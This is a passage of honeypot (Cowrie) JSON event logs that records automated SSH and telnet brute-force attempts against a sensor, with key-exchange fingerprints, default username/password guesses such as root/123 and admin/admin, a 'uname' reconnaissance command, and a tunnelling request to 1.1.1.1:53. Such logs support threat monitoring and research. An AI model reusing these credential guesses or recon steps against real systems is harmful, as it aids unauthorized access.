,"rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.366445Z","src_ip":"87.251.64.176","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.617060Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.621049Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.664018Z","src_ip":"87.251.64.176","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.762856Z","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.862924Z","src_ip":"87.251.64.176","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.960517Z","src_ip":"87.251.64.176","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:02.317630Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:02.324875Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:02.859338Z","src_ip":"95.38.165.118","session":"958d532f532b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:05.659263Z","src_ip":"95.38.165.118","session":"958d532f532b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48894,"dst_ip":"10.17.0.5","dst_port":22,"session":"abebe95f43ee","protocol":"ssh","message":"New connection: 95.38.165.118:48894 (10.17.0.5:22) [session: abebe95f43ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:06.606586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:06.612335Z","src_ip":"95.38.165.118","session":"abebe95f43ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:06.770854Z","src_ip":"95.38.165.118","session":"abebe95f43ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:07.267331Z","src_ip":"95.38.165.118","session":"abebe95f43ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:10.075591Z","src_ip":"95.38.165.118","session":"abebe95f43ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36324,"dst_ip":"159.203.135.109","dst_port":22,"session":"a981d568af49","protocol":"ssh","message":"New connection: 147.45.199.80:36324 (159.203.135.109:22) [session: a981d568af49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.610487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.615234Z","src_ip":"147.45.199.80","session":"a981d568af49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.716803Z","src_ip":"147.45.199.80","session":"a981d568af49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48906,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc9468486c28","protocol":"ssh","message":"New connection: 95.38.165.118:48906 (10.17.0.5:22) [session: dc9468486c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.803858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.811962Z","src_ip":"95.38.165.118","session":"dc9468486c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:12.981891Z","src_ip":"95.38.165.118","session":"dc9468486c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfdtkbq","message":"login attempt [root/cfdtkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:13.018046Z","src_ip":"147.45.199.80","session":"a981d568af49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:14.120603Z","src_ip":"147.45.199.80","session":"a981d568af49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"245101d5ea70","protocol":"telnet","message":"New connection: 69.4.83.194:34648 (159.203.135.109:23) [session: 245101d5ea70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:16.359253Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56198,"dst_ip":"10.17.0.5","dst_port":22,"session":"615c581e2b41","protocol":"ssh","message":"New connection: 95.38.165.118:56198 (10.17.0.5:22) [session: 615c581e2b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:16.539094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:16.544825Z","src_ip":"95.38.165.118","session":"615c581e2b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.19007039070129395,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:16.549150Z","src_ip":"69.4.83.194","session":"245101d5ea70","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:17.120659Z","src_ip":"95.38.165.118","session":"615c581e2b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37784,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6b8a714e75","protocol":"telnet","message":"New connection: 69.4.83.194:37784 (159.203.135.109:23) [session: 0a6b8a714e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:17.521392Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:17.677526Z","src_ip":"95.38.165.118","session":"615c581e2b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56214,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1be94ef8971","protocol":"ssh","message":"New connection: 95.38.165.118:56214 (10.17.0.5:22) [session: f1be94ef8971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:21.725342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:21.730368Z","src_ip":"95.38.165.118","session":"f1be94ef8971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:21.889736Z","src_ip":"95.38.165.118","session":"f1be94ef8971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:22.375151Z","src_ip":"95.38.165.118","session":"f1be94ef8971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:22.490367Z","src_ip":"95.38.165.118","session":"615c581e2b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:23.535920Z","src_ip":"95.38.165.118","session":"f1be94ef8971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:25.385711Z","src_ip":"95.38.165.118","session":"dc9468486c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:26.558859Z","src_ip":"95.38.165.118","session":"dc9468486c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44536,"dst_ip":"10.17.0.5","dst_port":22,"session":"220c9155cb57","protocol":"ssh","message":"New connection: 95.38.165.118:44536 (10.17.0.5:22) [session: 220c9155cb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:26.647759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:26.656259Z","src_ip":"95.38.165.118","session":"220c9155cb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:26.819281Z","src_ip":"95.38.165.118","session":"220c9155cb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:27.318394Z","src_ip":"95.38.165.118","session":"220c9155cb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:29.066603Z","src_ip":"95.38.165.118","session":"220c9155cb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0402456f9f0","protocol":"ssh","message":"New connection: 95.38.165.118:44548 (10.17.0.5:22) [session: d0402456f9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:31.569382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:31.575789Z","src_ip":"95.38.165.118","session":"d0402456f9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:32.003285Z","src_ip":"95.38.165.118","session":"d0402456f9f0","protocol":"ssh"}
